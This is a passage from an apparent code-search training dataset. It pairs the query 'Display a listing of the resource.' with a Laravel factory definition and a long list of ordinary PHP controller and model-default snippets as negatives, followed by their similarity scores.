"0.69753027",
"0.69744694",
"0.69744694",
"0.69744694",
"0.69744694",
"0.69744694",
"0.69744694",
"0.69744694",
"0.69744694",
"0.69744694",
"0.69744694",
"0.69744694",
"0.69744694",
"0.69744694",
"0.69744694",
"0.69744694",
"0.69744694",
"0.69744694",
"0.69744694",
"0.69744694",
"0.69744694",
"0.69744694",
"0.69744694",
"0.69744694",
"0.69744694",
"0.69744694",
"0.69744694",
"0.69744694",
"0.69744694",
"0.69744694",
"0.69744694",
"0.69744694",
"0.69744694",
"0.69744694",
"0.69742393",
"0.69742393",
"0.69742393",
"0.69742393",
"0.69742393",
"0.69742393",
"0.6961158",
"0.69544494",
"0.69416827",
"0.69331",
"0.69323254",
"0.6930772",
"0.6916635",
"0.6914887",
"0.6910421",
"0.6900625",
"0.6870975",
"0.6865799",
"0.6861332",
"0.686042",
"0.68589056",
"0.68566346",
"0.68304664",
"0.68121403",
"0.6803723",
"0.67923385",
"0.6791619",
"0.67826396",
"0.6782222",
"0.6779438",
"0.6772402",
"0.67696434",
"0.6767691",
"0.67665786",
"0.67603624",
"0.67598873",
"0.67574733",
"0.67574733"
] | 0.0 | -1 |
Define the model's default state. | public function definition()
{
return [
'product_id' => function(){
return Product::all()->random();
},
'size' => json_encode([
$this->faker->numberBetween(0,5).'x'.$this->faker->numberBetween(0,5),
$this->faker->numberBetween(0,5).'x'.$this->faker->numberBetween(0,5),
$this->faker->numberBetween(0,5).'x'.$this->faker->numberBetween(0,5),
$this->faker->numberBetween(0,5).'x'.$this->faker->numberBetween(0,5),
]),
'qty' => $this->faker->numberBetween(0,5)
];
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"function getDefaultState()\r\n\t{\r\n\t}",
"static function get_default_state();",
"public function getDefaultUserState();",
"private function setDefaultStates(): void\n {\n foreach ($this->arr_attributes as $strParamName) {\n $this->states[$strParamName] = $this->params->get($strParamName, 0);\n }\n }",
"abstract protected function getDefaultModel();",
"public function applyDefaultValues()\n {\n $this->is_active = false;\n $this->is_closed = false;\n }",
"protected function getDefaultModelObject() : void\n {\n return;\n }",
"public function applyDefaultValues()\n {\n $this->active = false;\n }",
"public function set()\n {\n\t\tif ($this->model->state())\n $this->model->set();\n }",
"protected function makeDefault()\n {\n $this->options = [];\n $this->menuSource = MenuSource::STATIC_SOURCE;\n $this->action = new Action(ActionType::MENU(), 'Default menu name', 'Default menu text');\n }",
"public function __default()\n\t{\n\n\t}",
"protected function initial_set_default() {\n\t\tif ( isset( $this->field[ 'config' ][ 'default' ] ) ) {\n\t\t\t$this->default = $this->field[ 'config' ][ 'default' ];\n\t\t} else {\n\t\t\t$this->default = '';\n\t\t}\n\t}",
"public function applyDefaultValues()\n\t{\n\t\t$this->type = 1;\n\t\t$this->total_index = 0;\n\t\t$this->is_published = true;\n\t\t$this->is_featured = false;\n\t\t$this->comments_count = 0;\n\t}",
"public function setModelDefaults() \n {\n if (!empty($this->model->defaultFieldValues())) {\n \n foreach($this->model->defaultFieldValues() as $field => $defaultValue) {\n\n $this->model->$field = $defaultValue;\n }\n } \n }",
"function getDefaultState(){\r\n\t\t$this->db->select('*');\r\n\t\t$this->db->where(array('is_default'=>true));\r\n\t\t$recordSet = $this->db->get(TBL_MST_STATES);\r\n\t\t$data=$recordSet->result() ;\r\n\t\treturn $data[0]->id;\r\n\t}",
"public function setValueDefault()\n {\n $this->isActive = true;\n $this->createdAt = new \\DateTime();\n }",
"public function applyDefaultValues()\n {\n $this->deleted = false;\n $this->amount = 1;\n $this->amountevaluation = 0;\n $this->defaultstatus = 0;\n $this->defaultdirectiondate = 0;\n $this->defaultenddate = 0;\n $this->defaultpersoninevent = 0;\n $this->defaultpersonineditor = 0;\n $this->maxoccursinevent = 0;\n $this->showtime = false;\n $this->ispreferable = true;\n $this->isrequiredcoordination = false;\n $this->isrequiredtissue = false;\n $this->mnem = '';\n }",
"public function getDefaultStateName() {\n return $this->values->get('DefaultStateName');\n }",
"public function default() {\n \n $this->data = ModuleConfig::settings();\n // [Module_Data]\n }",
"public static function bootStateMachine()\n {\n static::creating(function ($model) {\n $fieldState = $model->getFieldState();\n if (empty($model->$fieldState)) {\n $model->$fieldState = $model->getInitialState();\n }\n $model->beforeTransition($model->fromTransition, $model->toTransition);\n $model->setStateChangeAt();\n });\n static::created(function ($model) {\n $model->afterTransition($model->fromTransition, $model->toTransition);\n });\n static::saving(function ($model) {\n $model->beforeTransition($model->fromTransition, $model->toTransition);\n $model->setStateChangeAt();\n });\n static::saved(function ($model) {\n $model->afterTransition($model->fromTransition, $model->toTransition);\n });\n }",
"function _setModelState()\r\n {\r\n $state = parent::_setModelState(); \r\n $app = JFactory::getApplication();\r\n $model = $this->getModel( $this->get('suffix') );\r\n $ns = $this->getNamespace();\r\n\r\n $state['filter_id_from'] = $app->getUserStateFromRequest($ns.'id_from', 'filter_id_from', '', '');\r\n $state['filter_id_to'] = $app->getUserStateFromRequest($ns.'id_to', 'filter_id_to', '', '');\r\n $state['filter_name'] = $app->getUserStateFromRequest($ns.'name', 'filter_name', '', '');\r\n $state['filter_enabled'] = $app->getUserStateFromRequest($ns.'enabled', 'filter_enabled', '', '');\r\n $state['filter_taxclass'] = $app->getUserStateFromRequest($ns.'taxclass', 'filter_taxclass', '', '');\r\n $state['filter_shippingtype'] = $app->getUserStateFromRequest($ns.'shippingtype', 'filter_shippingtype', '', '');\r\n \r\n foreach (@$state as $key=>$value)\r\n {\r\n $model->setState( $key, $value ); \r\n }\r\n return $state;\r\n }",
"public function getInitialState(): StateContract\n {\n return $this->newState(['value' => 1]);\n }",
"public function state();",
"public function setUserDefaultStatus($userDefaultStatus);",
"public function setStateModel($stateModel) {}",
"public function getBaseState() {}",
"public function init()\r\n {\r\n $this->_helper->db->setDefaultModelName('DefaultMetadataValue');\r\n }",
"public function set_to_default()\n\t{\n\t\t// SimpleDB requires a value for every attribue...\n\t\t$this->_name = NULL;\n\t\t$this->_contextid = NULL;\n\t\t$this->_userid = NULL;\n $this->_deleted = 0;\n\t\t$this->_lastmodified = 0;\t\n\t}",
"public function create_default() {\n if (!$this->model->has_default()) {\n $default_data = [\n 'id' => 1,\n 'name' => 'Beregu',\n 'desc' => 'team vs team',\n ];\n $this->model->create_default($default_data);\n\n $default_data = [\n 'id' => 2,\n 'name' => 'Individu',\n 'desc' => 'individu vs individu',\n ];\n $this->model->create_default($default_data);\n }\n }",
"public function __construct(State $model)\n\t{\n\t\t$this->model = $model;\n\t}",
"public function getStateModel() {}",
"public function set_default_data() {\n\t\t$this->button_text_color = '#FFFFFF';\n\t\t$this->button_background_color = '#6699CC';\n\n\t\t$this->header_text_color = '#FFFFFF';\n\t\t$this->header_background_color = '#6699CC';\n\n\t\t$this->button_text = 'Do Not Sell My Data';\n\n\t\t$this->publish_status = 'Draft';\n\t\t$this->last_published = '';\n\n\t\t$this->ot_logo = '';\n\t\t$this->display_position = 'right';\n\t\t$this->floating_button\t= '';\n\t\t$this->isLinkEnabled \t= 'textlink';\n\t}",
"public function applyDefaultValues()\n\t{\n\t\t$this->points = '0';\n\t\t$this->type = 0;\n\t\t$this->hidden = 0;\n\t\t$this->relationship_status = 0;\n\t\t$this->show_email = 1;\n\t\t$this->show_gender = 1;\n\t\t$this->show_hometown = 1;\n\t\t$this->show_home_phone = 1;\n\t\t$this->show_mobile_phone = 1;\n\t\t$this->show_birthdate = 1;\n\t\t$this->show_address = 1;\n\t\t$this->show_relationship_status = 1;\n\t\t$this->credit = 0;\n\t\t$this->login = 0;\n\t}",
"public function initializeDefaults()\n {\n }",
"public function applyDefaultValues()\n\t{\n\t\t$this->ativo = true;\n\t\t$this->tipo_acesso = 'M';\n\t\t$this->estado_civil = 'O';\n\t\t$this->nivel_acesso = '1';\n\t\t$this->usuario_validado = false;\n\t}",
"public function setDefaultAttribute($value){\n $this->attributes['default'] = ($value === 'true' || $value ? true : false);\n}",
"private function _set_default()\r\n\t{\r\n\t\tif($this->input->post('default'))\r\n\t\t{\r\n\t\t\t$this->db->update('showcases',array('default' => 0));\r\n\t\t\t$this->db->where('id', $this->input->post('default'));\r\n\t\t\t$this->db->update('showcases',array('default' => 1));\r\n\t\t\t\r\n\t\t\t$this->set_message('success', 'Vetrina predefinita aggiornata con successo!');\r\n\t\t\tredirect($this->list);\r\n\t\t}\r\n\t}",
"public function applyDefaultValues()\n {\n $this->is_not = false;\n $this->rank = 0;\n }",
"public function __default()\r\n \t{\r\n \t if( self::isArg( 'notifwindow') )\r\n \t {\r\n $this->view = \"common_notifwindow\";\r\n \t $this->viewArgs['table'] = self::getArg( \"table\", AT_posint, true );\r\n \t }\r\n \t else\r\n \t {\r\n $this->view = \"dummygame_dummygame\";\r\n self::trace( \"Complete reinitialization of board game\" );\r\n }\r\n \t}",
"private function _load_default_model(){\n\n\t\t$default_model_name = strtolower(get_class($this)) . '_model';\n\n\t\tif(file_exists(APPPATH . 'models/' . $default_model_name . '.php')){\n\n\t\t\t$this->load->model($default_model_name, strtolower(get_class($this)));\n\t\t\t$this->_default_model = strtolower(get_class($this));\n\t\t}\n\n\t}",
"public function model()\n {\n return State::class;\n }",
"public function model()\n {\n return State::class;\n }",
"public function getDefault();",
"public function setDefaultValues()\n\t{\t\t\n\t\t\t \n\t}",
"protected function initialiseModel()\n {\n parent::initialiseModel();\n\n $this->SelectedTab = 0;\n }",
"final protected function _defaults(){\n if(! $this->_defaults) return;\n foreach($this->_defaults as $conf => $default_value){\n if(! self::inform($conf)) self::define($conf, $default_value);\n }\n }",
"public function useDefaults()\n\t{\n\t\t$this->use_defaults = true;\n\t}",
"public function set_behaviors_default_data() {\n\n\t\t$this->is_google_personalize_enabled = 'checked';\n\t\t$this->google_confirmation_title = 'Personalized advertisements';\n\t\t$this->google_confirmation_message = 'Turning this off will opt you out of personalized advertisements delivered from Google on this website.';\n\t\t$this->confirmbutton = 'Confirm';\n\t\t$this->is_email_enabled = 'checked';\n\t\t$this->email_address = '';\n\t\t$this->popup_main_title = 'Do Not Sell My Personal Information';\n\t\t$this->link_text = 'Privacy Policy';\n\t\t$this->link_url = '';\n\t\t$this->privacy_policy_message = 'Exercise your consumer rights by contacting us below';\n\t\t$this->is_phone_enabled = 'checked';\n\t\t$this->phone_number = '';\n\t\t$this->form_link_text = 'Exercise Your Rights';\n\t\t$this->form_link_url = '';\n\t\t$this->form_enable = 'checked';\n\t\t$this->publish_status = 'Draft';\n\t\t$this->last_published = '';\n\t\t$this->selectuseroption\t\t\t\t = 'All';\n\t\t$this->isIABEnabled \t\t\t\t = 'checked';\n\t\t$this->isLSPAenable \t\t\t\t = '';\n\t}",
"public function makeDefault() {\n $this->update([\n 'color' => null,\n 'size' => null\n ]);\n }",
"public function applyDefaultData()\n {\n $objectManager = \\Magento\\Framework\\App\\ObjectManager::getInstance();\n $config = $objectManager->get('\\Magento\\Framework\\App\\Config\\ScopeConfigInterface');\n\n $this->setsup_is_active(1);\n $this->setsup_locale($config->getValue('general/locale/code'));\n $this->setsup_currency($config->getValue('currency/options/base'));\n $this->setsup_country($config->getValue('general/country/default'));\n\n return $this;\n }",
"protected function setDefaultValues()\n {\n parent::setDefaultValues();\n\t}",
"public function setDefaultStateName($stateName) {\n $this->values->put('DefaultStateName', $stateName);\n }",
"public function __construct()\n {\n parent::__construct();\n $this->applyDefaultValues();\n }",
"public function __construct()\n {\n parent::__construct();\n $this->applyDefaultValues();\n }",
"public function __construct()\n {\n parent::__construct();\n $this->applyDefaultValues();\n }",
"public function __construct()\n {\n parent::__construct();\n $this->applyDefaultValues();\n }",
"public function __construct()\n {\n parent::__construct();\n $this->applyDefaultValues();\n }",
"public function __construct()\n {\n parent::__construct();\n $this->applyDefaultValues();\n }",
"public function __construct()\n {\n parent::__construct();\n $this->applyDefaultValues();\n }",
"public function __construct()\n {\n parent::__construct();\n $this->applyDefaultValues();\n }",
"public function __construct()\n {\n parent::__construct();\n $this->applyDefaultValues();\n }",
"public function applyDefaultValues()\n {\n $this->jml_lantai = '1';\n $this->asal_data = '1';\n $this->last_sync = '1901-01-01 00:00:00';\n }",
"function init() {\n $this->options['selected'] = isset($this->options['value']) ?\n true : @(bool)$this->options['default'];\n }",
"public function __construct()\n {\n $this->applyDefaultValues();\n }",
"public function __construct()\n {\n $this->applyDefaultValues();\n }",
"public function __construct()\n {\n $this->applyDefaultValues();\n }",
"public function __construct()\n {\n $this->applyDefaultValues();\n }",
"public function __construct()\n {\n $this->applyDefaultValues();\n }",
"public function init() {\n\t\t// use this method to initialize default values.\n\t}",
"public function applyDefaultValues()\n\t{\n\t}",
"public function applyDefaultValues()\n\t{\n\t}",
"public function applyDefaultValues()\n\t{\n\t}",
"protected function cliModelInit()\n {\n }",
"function getDefaultValue() \n {\n return $this->getValueByFieldName( 'statevar_default' );\n }",
"public function __default()\r\n {\r\n if( self::isArg( 'notifwindow') ) {\r\n $this->view = \"common_notifwindow\";\r\n $this->viewArgs['table'] = self::getArg( \"table\", AT_posint, true );\r\n } else {\r\n $this->view = \"thecrew_thecrew\";\r\n self::trace( \"Complete reinitialization of board game\" );\r\n }\r\n }",
"public function toggleDefault()\n {\n $this->language->default = ! $this->language->default;\n }",
"public static function set_default_values() {\n\t\t?>\n\t\tcase \"nu_phone\" :\n\t\t\tfield.label = \"Phone\";\n\t\t\tfield.isRequired = true;\n\t\t\tfield.description = \"Numbers only. e.g. 8885551212\";\n\t\t\tbreak;\n\t\t<?php\n\t}",
"function post_model_init($from_cache = FALSE)\n {\n }",
"public static function preModel(){\n\t\t\n\t}",
"public function __construct()\n\t{\n\t\tparent::__construct();\n\t\t$this->applyDefaultValues();\n\t}",
"public function __construct()\n\t{\n\t\tparent::__construct();\n\t\t$this->applyDefaultValues();\n\t}",
"public function __construct()\n\t{\n\t\tparent::__construct();\n\t\t$this->applyDefaultValues();\n\t}",
"public function __construct()\n\t{\n\t\tparent::__construct();\n\t\t$this->applyDefaultValues();\n\t}",
"public function __construct()\n\t{\n\t\tparent::__construct();\n\t\t$this->applyDefaultValues();\n\t}",
"public function __construct()\n\t{\n\t\tparent::__construct();\n\t\t$this->applyDefaultValues();\n\t}",
"public function __construct()\n\t{\n\t\tparent::__construct();\n\t\t$this->applyDefaultValues();\n\t}",
"public function __construct()\n\t{\n\t\tparent::__construct();\n\t\t$this->applyDefaultValues();\n\t}",
"public function __construct()\n\t{\n\t\tparent::__construct();\n\t\t$this->applyDefaultValues();\n\t}",
"public function __construct()\n\t{\n\t\tparent::__construct();\n\t\t$this->applyDefaultValues();\n\t}",
"protected function get_default() {\n\t\treturn false;\n\t}",
"protected function setDefaultTemplate(): void\n {\n $this->setDefaultData(function(Generator $faker) {\n return [\n 'password' => 'xx',\n 'username' => $faker->email,\n 'modified' => time(),\n // set the model's default values\n // For example:\n // 'name' => $faker->lastName\n ];\n });\n }",
"function setDefault($value)\n {\n $this->_defValue = $value;\n }",
"public function __default()\r\n {\r\n if (self::isArg('notifwindow')) {\r\n $this->view = \"common_notifwindow\";\r\n $this->viewArgs['table'] = self::getArg(\"table\", AT_posint, true);\r\n } else {\r\n $this->view = \"lettertycoon_lettertycoon\";\r\n self::trace(\"Complete reinitialization of board game\");\r\n }\r\n }",
"protected function setDefaults()\n {\n return;\n }",
"public function getStatesModel()\n\t{\n\t\treturn $this->statesModel = new StatesModel();\n\t}",
"public function defaultData();",
"public function getDefaultValue();",
"public function getDefaultValue();",
"public function applyDefaultValues()\n\t{\n\t\t$this->closed = 0;\n\t\t$this->lastfmid = 0;\n\t\t$this->hasphotos = 0;\n\t}",
"public function applyDefaultValues()\n\t{\n\t\t$this->platform = 'pc';\n\t\t$this->experience_score = 0;\n\t\t$this->up_votes = 0;\n\t\t$this->down_votes = 0;\n\t\t$this->is_guest = 0;\n\t\t$this->is_admin = 0;\n\t\t$this->today_votes = 0;\n\t\t$this->email_on = 1;\n\t}",
"private function getStateDefaultStatus($state)\n {\n\t\tif(\\Cart2Quote\\License\\Model\\License::getInstance()->isValid()) {\n\t\t\t$status = false;\n $stateNode = $this->_getState($state);\n if ($stateNode) {\n $status = $this->quoteStatusFactory->create()->loadDefaultByState($state);\n $status = $status->getStatus();\n }\n return $status;\n\t\t}\n\t}"
] | [
"0.77754503",
"0.72247493",
"0.685763",
"0.6793462",
"0.6769021",
"0.64324814",
"0.6410042",
"0.637007",
"0.6187058",
"0.61869824",
"0.61583555",
"0.6154062",
"0.61522424",
"0.6144177",
"0.61169946",
"0.6107669",
"0.610452",
"0.6039661",
"0.6038444",
"0.6020123",
"0.59868133",
"0.5986069",
"0.5975071",
"0.596551",
"0.59482473",
"0.5901017",
"0.5883553",
"0.58785164",
"0.5872319",
"0.5849842",
"0.5842378",
"0.58407646",
"0.5832089",
"0.58240354",
"0.5823724",
"0.5806208",
"0.58054554",
"0.58030456",
"0.58020604",
"0.5768821",
"0.574447",
"0.574447",
"0.5742744",
"0.57274336",
"0.57137966",
"0.56906027",
"0.56728715",
"0.5668998",
"0.56638855",
"0.56603867",
"0.56599814",
"0.56489027",
"0.5636695",
"0.5636695",
"0.5636695",
"0.5636695",
"0.5636695",
"0.5636695",
"0.5636695",
"0.5636695",
"0.5636695",
"0.56341493",
"0.5633632",
"0.5625385",
"0.5625385",
"0.5625385",
"0.5625385",
"0.5625385",
"0.5618138",
"0.561562",
"0.561562",
"0.561562",
"0.56001896",
"0.55959237",
"0.55878085",
"0.5570774",
"0.5569919",
"0.55642086",
"0.55563307",
"0.5544265",
"0.5544265",
"0.5544265",
"0.5544265",
"0.5544265",
"0.5544265",
"0.5544265",
"0.5544265",
"0.5544265",
"0.5544265",
"0.5530627",
"0.5529344",
"0.5527027",
"0.5526874",
"0.55122554",
"0.551051",
"0.55101645",
"0.5509119",
"0.5509119",
"0.55060625",
"0.5504428",
"0.5485193"
] | 0.0 | -1 |
Display a listing of the resource. | public function index()
{
// it get redirects because of middleware (no need for this check)
if((auth()->user()->hasPermissionTo('blogger_view') != true))
return $this->permission_denied('blogger_dashboard');
// dd(auth()->user());
$bloggers = Blogger::get();
return view('dashboard.users.blogger.list')
->with([
'page_title' => $this->page_title,
'entity' => $this->entity,
'entity_action' => $this->entity_action,
])
->with('bloggers', $bloggers);
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function indexAction()\n {\n $limit = $this->Request()->getParam('limit', 1000);\n $offset = $this->Request()->getParam('start', 0);\n $sort = $this->Request()->getParam('sort', array());\n $filter = $this->Request()->getParam('filter', array());\n\n $result = $this->resource->getList($offset, $limit, $filter, $sort);\n\n $this->View()->assign($result);\n $this->View()->assign('success', true);\n }",
"public function listing();",
"function index() {\n\t\t$this->show_list();\n\t}",
"public function actionList() {\n $this->_getList();\n }",
"public function listAction()\n {\n $model = $this->_getPhotoModel();\n $entries = $model->fetchEntries($this->_getParam('page', 1));\n\n $this->view->url = 'http://' . $this->_request->getHttpHost() . $this->_request->getBaseUrl(); \n $this->view->paginator = $entries;\n }",
"public function index()\n {\n $items = Item::all();\n return ItemForShowResource::collection($items);\n }",
"public function index()\n {\n return Resource::collection(($this->getModel())::paginate(10));\n }",
"function index()\n\t{\n\t\t$this->_list();\n\t\t$this->display();\n\t}",
"public function listingAction(){\n if (!LoginHelper::isAdmin()){\n Router::redirect('home', '<p class=\"alert alert-danger\">Unauthorized</p>');\n }\n $this->view->render('patient/list', Patient::all());\n }",
"public function index()\n {\n //\n $list = $this->obj->all();\n\n return $this->render('index', compact('list'));\n }",
"public function action_index()\n\t{\n\t\t$this->template->title = 'Resources';\n\t\t$this->view = View::factory('admin/resource/index');\n\t\t$this->template->scripts[] = 'media/js/jquery.tablesorter.min.js';\n\t\t$this->template->scripts[] = 'media/js/admin/resource.js';\n\t\t\n\t\t$resources = Sprig::factory('resource')->load(NULL, FALSE);\n\t\tif (!empty($resources))\n\t\t{\n\t\t\t$this->view->resources = $resources->as_array();\n\t\t}\n\t}",
"function listing()\n\t\t{\n\t\t// en $this->_view->_listado para poder acceder a el desde la vista.\n\t\t\t$this->_view->_listado = $listado = $this->_instrumentoModel->getInstrumento();\n\t\t\t$this->_view->render('listing', '', '',$this->_sidebar_menu);\n\t\t}",
"public function listAction()\n {\n $em = $this->getDoctrine()->getManager();\n \n $todos = $em->getRepository(Todo::class)->findAll();\n \n return $this->render('todo/index.html.twig', array(\n 'todos' => $todos,\n ));\n }",
"public function index()\n\t{\n $this->authorize('list', Instance::class);\n\n\t\treturn $this->ok($this->repo->paginate($this->request->all()));\n\t}",
"public function actionRestList() {\n\t $this->doRestList();\n\t}",
"public function listing()\n\t{\n\t\t$hospitalID = $this->request->getSession()->read(\"hospital_id\") ? $this->request->getSession()->read(\"hospital_id\") : \"\";\n\t\t\n\t\t$patientMonitored = 1;\n\t\t$patientActive = 1;\n\t\t\n\t\t//GET ALL PATIENTS\n\t\t$patientsData = $this->Patients->allPatients($hospitalID,$patientMonitored,$patientActive);\n\t\t//GET ALL PATIENTS\n\t\t\n\t\t//echo \"<pre>\"; print_r($patientsData);die;\n\t\t$this->set(compact(\"patientsData\"));\n\t}",
"public function listAction()\n {\n $htmlpage = '<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\"UTF-8\">\n <title>todos list!</title>\n </head>\n <body>\n <h1>todos list</h1>\n <p>Here are all your todos:</p>\n <ul>';\n \n $em = $this->getDoctrine()->getManager();\n $todos = $em->getRepository(Todo::class)->findAll();\n foreach($todos as $todo) {\n $htmlpage .= '<li>\n <a href=\"/todo/'.$todo->getid().'\">'.$todo->getTitle().'</a></li>';\n }\n $htmlpage .= '</ul>';\n\n $htmlpage .= '</body></html>';\n \n return new Response(\n $htmlpage,\n Response::HTTP_OK,\n array('content-type' => 'text/html')\n );\n }",
"public function index()\n {\n // Get Persons\n $person = Person::paginate(10);\n\n //Return collection of person as a resource\n return PersonResource::collection($person);\n }",
"public function listAction() {\n\t\t$this->view->title = $this->translator->translate(\"Invoice list\");\n\t\t$this->view->description = $this->translator->translate(\"Here you can see all the invoices.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"/admin/invoices/new/\", \"label\" => $this->translator->translate('New'), \"params\" => array('css' => null)));\r\n\t\t$this->datagrid->setConfig ( Invoices::grid() )->datagrid ();\n\t}",
"public function listAll()\n\t{\n\t\t$this->render(self::PATH_VIEWS . '/list', [\n\t\t\t'pages' => $this->pagesDb->findAll('id', 'DESC'),\n\t\t]);\n\t}",
"public function list()\n {\n // récupérer les données : toutes les catégories enregistrées\n $productList = Product::findAll();\n\n $this->show('product/list', [\n 'productList' => $productList\n ]);\n }",
"public function index()\n {\n // CRUD -> Retrieve --> List\n // BREAD -> Browse Read Edit Add Delete\n // return Item::all();\n return view('list_items',compact('items'));\n }",
"public function index()\n {\n // Get manufacturers\n $manufacturers = Manufacturer::orderBy('created_at', 'desc')->paginate(15);\n\n // Return collection of manufacturers as a resource\n return ManufacturerResource::collection($manufacturers);\n }",
"public function index()\n {\n return ArtistResource::collection(Artist::orderBy('created_at', 'desc')->get());\n }",
"public function indexAction() {\n\t\t$page = intval($this->getInput('page'));\n\t\t$perpage = $this->perpage;\n\t\t\n\t\tlist(,$files) = Lock_Service_FileType::getAllFileType();\n\t\t$data = array();\n\t\tforeach ($files as $key=>$value) {\n\t\t\t$data[$key]['id'] = $value['id'];\n\t\t\t$data[$key]['title'] = $value['name'];\n\t\t}\n\t\tlist($total, $filetype) = Lock_Service_FileType::getList($page, $perpage);\n\t\t$this->assign('filetype', $filetype);\n\t\t$this->assign('pager', Common::getPages($total, $page, $perpage, $this->actions['listUrl'].'/?'));\n\t\t$this->assign('data', json_encode($data));\n\t}",
"public function listAction()\n {\n $qb = $this->getRepository()->queryAll();\n\n $view = new ImportListView;\n $view->imports = $qb->getQuery()->execute();\n\n return $this->templating->renderResponse('InfiniteImportBundle:Import:list.html.twig', array(\n 'data' => $view\n ));\n }",
"public function index()\n\t{\n\t\t//Return model all()\n\t\t$instances = $this->decorator->getListingModels();\n\n\t\treturn View::make($this->listingView, array(\n\t\t\t'instances' => $instances,\n\t\t\t'controller' => get_class($this), \n\t\t\t'modelName' => class_basename(get_class($this->decorator->getModel())),\n\t\t\t'columns' => $this->getColumnsForInstances($instances),\n\t\t\t'editable' => $this->editable\n\t\t));\n\t}",
"public function index()\n {\n return InfografiResources::collection(\n Infografi::orderBy('date', 'desc')->get()\n );\n }",
"public function listAction()\n\t {\n\t\t\t$this->_forward('index');\n \n\t\t}",
"public function index()\n {\n $this->list_view();\n }",
"public function index()\n {\n $this->list_view();\n }",
"public function index()\n {\n $this->list_view();\n }",
"public function listAction()\n {\n $defaults = array(\n 'page' => null,\n 'order' => null,\n 'limit' => null,\n 'offset' => null,\n 'filter' => array(),\n );\n $body = $this->getRequest()->getBody();\n $options = $body + $defaults;\n\n // Process the options\n if (is_string($options['order'])) {\n $options['order'] = array_map('trim', explode(',', $options['order']));\n }\n if (is_string($options['page'])) {\n $options['page'] = (int)$options['page'];\n }\n if (is_string($options['limit'])) {\n $options['limit'] = (int)$options['limit'];\n }\n if (is_string($options['offset'])) {\n $options['offset'] = (int)$options['offset'];\n }\n $filter = $options['filter'];\n unset($options['filter']);\n\n $options = array_filter($options);\n\n return $this->getBinding()->find($filter, $options);\n }",
"public function index()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the resources from the model */\n $resources = $this->resourcesList($this->model);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.index\")) {\n $view = \"admin.{$this->name}.index\";\n } else {\n $view = 'admin.includes.actions.index';\n }\n\n /* Display a listing of the resources */\n return view($view)\n ->with('resources', $resources)\n ->with('module', $this->module);\n }",
"public function index()\n\t{\n\t\t$data['lists'] = $this->mdl_student->get_all();\n\t\t$this->template->set('title', 'Student Hostel List');\n\t\t$this->template->load('template', 'contents', 'student_hostel/student_hostel_list', $data);\n\t}",
"public function index()\n {\n $modules = Module::all();\n return Resource::collection($modules);\n }",
"public function index()\n {\n // List all resources from user entity\n $users = User::all();\n\n return $this->showAll($users);\n }",
"public function index()\n {\n // Get todos\n $todos = Todo::orderBy('created_at', 'desc')->paginate(3);\n\n // Return collection of articles as a resource\n return TodoResource::collection($todos);\n }",
"public function index()\n {\n return Resources::collection(Checking::paginate());\n }",
"public function index()\n {\n return CourseListResource::collection(\n Course::query()->withoutGlobalScope('publish')\n ->latest()->paginate()\n );\n }",
"public function index()\n {\n $cars = Car::paginate(15);\n return CarResource::collection($cars);\n }",
"public function index()\n {\n // Get articles\n $articles = Article::orderBy('created_at', 'desc')->paginate(5);\n\n // Return collection of articles as a resource\n return ArticleResource::collection($articles);\n }",
"public function index()\n {\n $authors = Author::paginate(10);\n\n return AuthorResource::collection($authors);\n }",
"public function index()\n {\n //Get Books\n $books = Book::paginate(10);\n \n if ($books) {\n return (BookResource::collection($books))->additional([\n 'status_code' => 200,\n 'status' => 'success',\n ]);\n } else {\n return (BookResource::collection([]))->additional([\n 'status_code' => 200,\n 'status' => 'success',\n ]);\n }\n return view('index')->with('data', $books);\n }",
"public function view(){\n\t\t$this->buildListing();\n\t}",
"public function index()\n {\n $books = Book::latest()\n ->paginate(20);\n\n return BookResource::collection($books);\n }",
"public function index()\n {\n $listing = Listing::orderBy('id', 'desc')->paginate(10);\n return view('listings.index')->withListings($listing);\n }",
"public function listAction()\n {\n $this->_getSession()->setFormData([]);\n\n $this->_title($this->__('Training Cms'))\n ->_title($this->__('Pages'));\n\n $this->loadLayout();\n\n $this->_setActiveMenu('training_cms');\n $this->_addBreadcrumb($this->__('Training Cms'), $this->__('Training Cms'));\n $this->_addBreadcrumb($this->__('Pages'), $this->__('Pages'));\n\n $this->renderLayout();\n }",
"public function index()\n {\n $services = $this->serviceRepository->paginate();\n\n return ServiceResource::collection($services);\n }",
"public function index()\n {\n $resources = ResourceManagement::paginate(5);\n $users = User::get();\n\n return view('resources-mgmt/index', ['resources' => $resources, 'users' => $users]);\n }",
"public function index()\n {\n $catalogs = Catalog::where('status', '=', Catalog::PUBLICADO)\n ->orderBy('id', 'DESC')->get();\n \n $data = CatalogResource::collection($catalogs);\n\n return [\n 'items' => $data,\n 'mensaje' => ''\n ];\n }",
"public function listAction(){\n // In a controller this can be:\n // $this->request->getQuery('page', 'int'); // GET\n $currentPage = $this->request->getPost('pageindex', 'int'); // POST\n $pageNum = ($currentPage == null) ? 1 : $currentPage;\n\n // The data set to paginate\n $message = new Notice();\n $results = $message->getMsg4Admin();\n\n // Create a Model paginator, show 10 rows by page starting from $currentPage\n $paginator = new PaginatorArray(\n array(\n \"data\" => $results,\n \"limit\" => 10,\n \"page\" => $pageNum\n )\n );\n\n // Get the paginated results\n $page = $paginator->getPaginate();\n\n return $this->response->setJsonContent($page);\n\n }",
"public function list()\n {\n try {\n return $this->success($this->service->list());\n } catch (\\Exception $exception) {\n return $this->error($exception->getMessage());\n }\n }",
"public function index()\n {\n return $this->sendResponse(CrisisResource::collection(Crisis::paginate(10)), 'Data fetched successfully');\n }",
"public function index()\n\t{\n\t\t$%Alias = new %Model();\n\t\t$params = array();\n\t\t\n\t\t$Paginator = new Paginator( $%Alias->findSize( $params ), $this->getLimit(), $this->getPage() );\n\t\t$this->getView()->set( '%Aliass', $%Alias->findList( $params, 'Id desc', $this->getOffset(), $this->getLimit() ) );\n\t\t$this->getView()->set( 'Paginator', $Paginator );\n\t\treturn $this->getView()->render();\n\t}",
"public function listAction() {}",
"public function index()\n {\n\n return RecipeResource::collection(Recipe::all());\n }",
"public function index()\n {\n $this->indexPage('list-product', 'List Product');\n }",
